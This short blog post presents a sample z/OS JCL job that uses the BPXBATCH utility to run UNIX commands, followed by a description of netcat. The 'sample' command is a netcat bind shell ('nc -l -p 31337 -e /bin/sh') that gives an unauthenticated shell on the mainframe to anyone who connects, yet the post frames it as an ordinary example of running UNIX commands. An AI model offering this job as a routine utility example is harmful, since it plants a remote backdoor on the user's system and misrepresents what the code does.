JCL ‘BPXBATCH’ Utility to run UNIX commands

The below is the sample JCL. You can use it to run UNIX commands through JCL.


//COPYFILE JOB (INFO),'Execute UNIX',CLASS=A,MSGCLASS=0,
// MSGLEVEL=(1,1),NOTIFY=&USERID
//NETCAT EXEC PGM=BPXBATCH
//STDIN DD SYSOUT=*
//STDOUT DD SYSOUT=*
//STDPARM DD *
SH pwd; id;
./nc –l –p 31337 –e /bin/sh
/*

About ‘nc’:

‘nc’ is the command which runs netcat, a simple Unix utility that reads and writes data across network connections, using the TCP or UDP protocol. It is designed to be a reliable “back-end” tool that can be used directly or driven by other programs and scripts.

At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities

Related Posts

Author: Srini

Experienced software developer. Skills in Development, Coding, Testing and Debugging. Good Data analytic skills (Data Warehousing and BI). Also skills in Mainframe.